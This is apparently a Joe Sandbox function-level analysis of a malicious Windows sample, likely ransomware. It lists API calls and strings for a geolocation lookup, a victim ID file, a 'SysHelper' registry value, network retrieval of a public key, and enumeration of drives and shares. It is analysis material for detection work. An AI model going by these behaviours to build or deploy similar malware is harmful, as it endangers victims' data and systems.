String ID:
API String ID: 3873257347-0
Opcode ID: 5817a004346a7d081ae3ca7f077dae28e46283dcb9840845d27d43986a1126a1
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 5817a004346a7d081ae3ca7f077dae28e46283dcb9840845d27d43986a1126a1
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: a677561acf85383bd7116713811f55ea0c83aacd24a20b5c82c65e2f91b50f54
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: a677561acf85383bd7116713811f55ea0c83aacd24a20b5c82c65e2f91b50f54
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,74E14E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: b7f64ff567a68e8e224a7061132d1a6b9c63d61af533065d66538b4763511ef8
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: b7f64ff567a68e8e224a7061132d1a6b9c63d61af533065d66538b4763511ef8
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6a0dc84fefc203f6dac28ee4eba2a060c2a1e643e9771af3996817d135d93217
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6a0dc84fefc203f6dac28ee4eba2a060c2a1e643e9771af3996817d135d93217
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 77a038d866069de8405f1b4f337e78db008bb897c20f2d08f2dc211958e2afea
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 77a038d866069de8405f1b4f337e78db008bb897c20f2d08f2dc211958e2afea
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 08effd2b7b95b0cd61e130dfc75c874d3fdf42f1db09c9f8a8de7e6eb3f9e7c1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 08effd2b7b95b0cd61e130dfc75c874d3fdf42f1db09c9f8a8de7e6eb3f9e7c1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 8ea77fa82696348b49489a2198ae6a98921bd14ab81913d159e38a9ad720b9a8
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 8ea77fa82696348b49489a2198ae6a98921bd14ab81913d159e38a9ad720b9a8
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 0297953878bd7b83ab42dfc2d835d519c0faf7390c725cb1167293c1aaa7e45f
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 0297953878bd7b83ab42dfc2d835d519c0faf7390c725cb1167293c1aaa7e45f
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
